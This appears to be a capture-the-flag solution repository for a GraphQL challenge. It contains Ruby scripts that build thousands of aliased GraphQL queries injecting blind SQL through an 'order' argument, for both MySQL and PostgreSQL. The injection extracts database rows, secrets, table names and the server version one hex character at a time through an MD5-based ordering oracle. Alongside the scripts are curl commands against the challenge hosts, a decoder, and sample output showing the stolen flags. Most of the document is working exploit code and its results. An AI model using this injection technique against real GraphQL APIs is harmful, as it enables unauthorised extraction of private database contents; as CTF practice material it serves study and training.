GQL assisted SQL injection

README.md

MySQL Version

ruby generate_gql_mysql.rb \
  && time curl -X POST -H "Content-Type: application/json" -d @query.json https://gql-ctf-2.herokuapp.com/graphql.json > response.json \
  && ruby decode.rb

PostgreSQL Version

ruby generate_gql_postgresql.rb \
  && time curl -X POST -H "Content-Type: application/json" -d @query.json https://gql-ctf.herokuapp.com/graphql.json > response.json \
  && ruby decode.rb

Sample Output

total gql line count: 2868
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  872k    0 66305  100  807k   1632  20371  0:00:40  0:00:40 --:--:--     0
curl -X POST -H "Content-Type: application/json" -d @query.json  >   0.02s user 0.03s system 0% cpu 40.730 total


raw_decoded_str length: 1433
ascii_decoded_str length: 1363


		raw_decoded_str:
26 | SECRET = '{flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|}' | {flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|} | 1 | 2020-04-14 20:20:56.819845 | 2020-04-14 20:20:56.819845
85 | SECRET = '{flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ}' | {flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ} | 1 | 2020-04-14 20:37:28.966901 | 2020-04-14 20:37:28.966901
128 | SECRET = '{flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y}' | {flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y} | 1 | 2020-04-15 11:53:00.609017 | 2020-04-15 11:53:00.609017
151 | SECRET = '{flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g}' | {flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g} | 1 | 2020-04-15 11:54:29.085865 | 2020-04-15 11:54:29.085865���������������

5.7.23-log���������������

{flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|}
{flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ}
{flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y}
{flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g}�������������������

1 | Title-61aaf90b | Body-e8103505 | 0 | 2020-04-14 20:20:56.582240 | 2020-04-14 20:20:56.582240����

flag_301ff0f8093fa9dcecbd08
flag_3b7f16bbb9e6210a893170005660d0843b9d
flag_77794b13cec7450861c990
flag_7905a6bd28e043ecc3b012257f
flag_89e7401c2c42b77981b5d5eb4161d46db5fb57
flag_abbd1636b722e4e14218
flag_f118f0feb4b79850053db5211f43�����������������





		ascii_decoded_str:
26 | SECRET = '{flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|}' | {flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|} | 1 | 2020-04-14 20:20:56.819845 | 2020-04-14 20:20:56.819845
85 | SECRET = '{flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ}' | {flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ} | 1 | 2020-04-14 20:37:28.966901 | 2020-04-14 20:37:28.966901
128 | SECRET = '{flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y}' | {flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y} | 1 | 2020-04-15 11:53:00.609017 | 2020-04-15 11:53:00.609017
151 | SECRET = '{flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g}' | {flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g} | 1 | 2020-04-15 11:54:29.085865 | 2020-04-15 11:54:29.085865

5.7.23-log

{flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|}
{flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ}
{flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y}
{flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g}

1 | Title-61aaf90b | Body-e8103505 | 0 | 2020-04-14 20:20:56.582240 | 2020-04-14 20:20:56.582240

flag_301ff0f8093fa9dcecbd08
flag_3b7f16bbb9e6210a893170005660d0843b9d
flag_77794b13cec7450861c990
flag_7905a6bd28e043ecc3b012257f
flag_89e7401c2c42b77981b5d5eb4161d46db5fb57
flag_abbd1636b722e4e14218
flag_f118f0feb4b79850053db5211f43

decode.rb

require 'json'
require 'digest'

input = JSON.parse(File.read("./response.json"))
ids = input["data"].values.collect { |x| x.first.values.first }

hex = ids.collect do |id|
  Digest::MD5.hexdigest(id.to_s)[0]
end.join

decoded_str = [hex].pack('H*')
ascii_decoded_str = decoded_str.chars.select(&:ascii_only?).join

puts "\n\n"
puts "raw_decoded_str length: #{decoded_str.length}"
puts "ascii_decoded_str length: #{ascii_decoded_str.length}"

puts "\n\n"

puts "\t\traw_decoded_str:"
puts decoded_str

puts "\n\n\n\n\n"

puts "\t\tascii_decoded_str:"
puts ascii_decoded_str

generate_gql_mysql.rb

require 'json'

def generate_gql(order_by_sql:, alias_start:, line_count:)
  # line count must be even as each char is represented by 2 hex chars
  line_count += 1 if line_count.odd?
  order_by_sql.gsub!(%r{(--.*)|(((/\*)+?[\w\W]+?(\*/)+))}, "") # remove all sql comments
  order_by_sql.gsub!(/\s+/, " ").strip # remove any extra whitespace
  (1..line_count).collect do |i|
    %Q{#{alias_start}#{i}: posts(limit: 1, order: "#{order_by_sql % i}") { id }}
  end
end

def generate_gql_new_line(alias_start:)
  # Adds line breaks
  # 0x0a -> "\n"
  ["0", "a"].collect do |hex_char|
    %Q{#{alias_start}#{hex_char}: posts(limit: 1, order: "(CASE (SELECT '#{hex_char}') WHEN SUBSTR(MD5(posts.id),1,1) THEN 0 else 1 END) ASC") { id }}
  end
end

# GROUP_CONCAT joins multiple rows in the in the same column into 1 row
# CONCAT_WS joins multiple columns in the in the same row into 1 column
query_all_post_data = <<-SQL
(
  CASE (
    SELECT
      SUBSTR(
        HEX(
          GROUP_CONCAT(
            -- all posts columns will be joined by '|', then joined by ', ' to be in a single cell
            CONCAT_WS(
              ' | ',
              posts.id,
              posts.title,
              posts.content,
              posts.secret,
              posts.created_at,
              posts.updated_at
            )
            SEPARATOR '\\n'
          )
        ),
        %d,
        1
      )
      FROM posts
      WHERE posts.content LIKE '%%flag%%' -- % must be escaped using a 2nd %
  )
  WHEN SUBSTR(MD5(posts.id),1,1)
  THEN 0 ELSE 1 END
) ASC
SQL

query_first_post_data = <<-SQL
(
  CASE (
    SELECT
      SUBSTR(
        HEX(
          CONCAT_WS(
            ' | ',
            posts.id,
            posts.title,
            posts.content,
            posts.secret,
            posts.created_at,
            posts.updated_at
          )
        ),
        %d,
        1
      )
      FROM posts
      LIMIT 1
  )
  WHEN SUBSTR(MD5(posts.id),1,1)
  THEN 0 ELSE 1 END
) ASC
SQL

query_post_content_data = <<-SQL
(
  CASE (
    SELECT
      SUBSTR(
        HEX(
          GROUP_CONCAT(
            posts.content
            SEPARATOR '\\n'
          )
        ),
        %d,
        1
      )
      FROM posts
      WHERE posts.content LIKE '%%flag%%'
  )
  WHEN SUBSTR(MD5(posts.id),1,1)
  THEN 0 ELSE 1 END
) ASC
SQL

query_table_names = <<-SQL
(
  CASE (
    SELECT
      SUBSTR(
        HEX(
          GROUP_CONCAT(
            DISTINCT table_name
            SEPARATOR '\\n'
          )
        ),
        %d,
        1
      )
      FROM information_schema.tables
      WHERE table_name LIKE 'flag_%%'
  )
  WHEN SUBSTR(MD5(posts.id),1,1)
  THEN 0 ELSE 1 END
) ASC
SQL

query_version = <<-SQL
(
  CASE (
    SELECT
      SUBSTR(
        HEX(
          version()
        ),
        %d,
        1
      )
    )
  WHEN SUBSTR(MD5(posts.id),1,1)
  THEN 0 ELSE 1 END
) ASC
SQL

idx = 0
gql_query = []
gql_query << "{"
gql_query += generate_gql(order_by_sql: query_all_post_data, alias_start: "a#{idx += 1}a", line_count: 1600)
gql_query += generate_gql_new_line(alias_start: "a#{idx += 1}a")
gql_query += generate_gql_new_line(alias_start: "a#{idx += 1}a")
gql_query += generate_gql(order_by_sql: query_version, alias_start: "a#{idx += 1}a", line_count: 50)
gql_query += generate_gql_new_line(alias_start: "a#{idx += 1}a")
gql_query += generate_gql_new_line(alias_start: "a#{idx += 1}a")
gql_query += generate_gql(order_by_sql: query_post_content_data, alias_start: "a#{idx += 1}a", line_count: 500)
gql_query += generate_gql_new_line(alias_start: "a#{idx += 1}a")
gql_query += generate_gql_new_line(alias_start: "a#{idx += 1}a")
gql_query += generate_gql(order_by_sql: query_first_post_data, alias_start: "a#{idx += 1}a", line_count: 200)
gql_query += generate_gql_new_line(alias_start: "a#{idx += 1}a")
gql_query += generate_gql_new_line(alias_start: "a#{idx += 1}a")
gql_query += generate_gql(order_by_sql: query_table_names, alias_start: "a#{idx += 1}a", line_count: 500)
gql_query << "}\n"

puts "total gql line count: #{gql_query.length}"
gql_query = gql_query.join

# write to graphql to allow copy/paste into graphiql
File.open("./query.graphql", "w+") do |f|
  f.puts(gql_query)
end

# write to json file to be sent in the request
File.open("./query.json", "w+") do |f|
  f.puts({
    query: gql_query,
    variables: nil
  }.to_json)
end

generate_gql_postgresql.rb

require 'json'

lines_count = 600

gql_query = []

query_end = ' WHEN SUBSTR(MD5(posts.id::varchar), 1, 1) THEN 0 else 1 END) ASC") { id } '

gql_query << "{"
1.upto(lines_count).each do |i|
  # query_middle = "SELECT SUBSTR(ENCODE(version()::bytea, 'hex'), #{i}, 1)"
  query_middle = "SELECT SUBSTR(ENCODE(STRING_AGG(CONVERT_TO(posts.content, 'LATIN1'), ', ')::bytea, 'hex'), #{i}, 1) FROM posts WHERE posts.secret = 't' AND posts.title ILIKE '\%flag%'"
  gql_query << %Q{a#{i}: posts(limit: 1, order: "(CASE (#{query_middle}) #{query_end}}
end

gql_query << %Q{br1a: posts(limit: 1, order: "(CASE (SELECT '0') #{query_end}}
gql_query << %Q{br1b: posts(limit: 1, order: "(CASE (SELECT 'a') #{query_end}}

gql_query << %Q{br2a: posts(limit: 1, order: "(CASE (SELECT '0') #{query_end}}
gql_query << %Q{br2b: posts(limit: 1, order: "(CASE (SELECT 'a') #{query_end}}

1.upto(lines_count).each do |i|
  query_middle = "SELECT SUBSTR(ENCODE(STRING_AGG(tablename, ', ')::bytea, 'hex'), #{i}, 1) FROM pg_catalog.pg_tables WHERE tablename ILIKE '\%flag%'"
  gql_query << %Q{b#{i}: posts(limit: 1, order: "(CASE (#{query_middle}) #{query_end}}
end

gql_query << "}\n"
puts "line count: #{gql_query.length}"
gql_query = gql_query.join

File.open("./query.graphql", "w+") do |f|
  f.puts gql_query
end

json_body = {
  query: gql_query,
  variables: nil
}

File.open("./query.json", "w+") do |f|
  f.puts json_body.to_json
end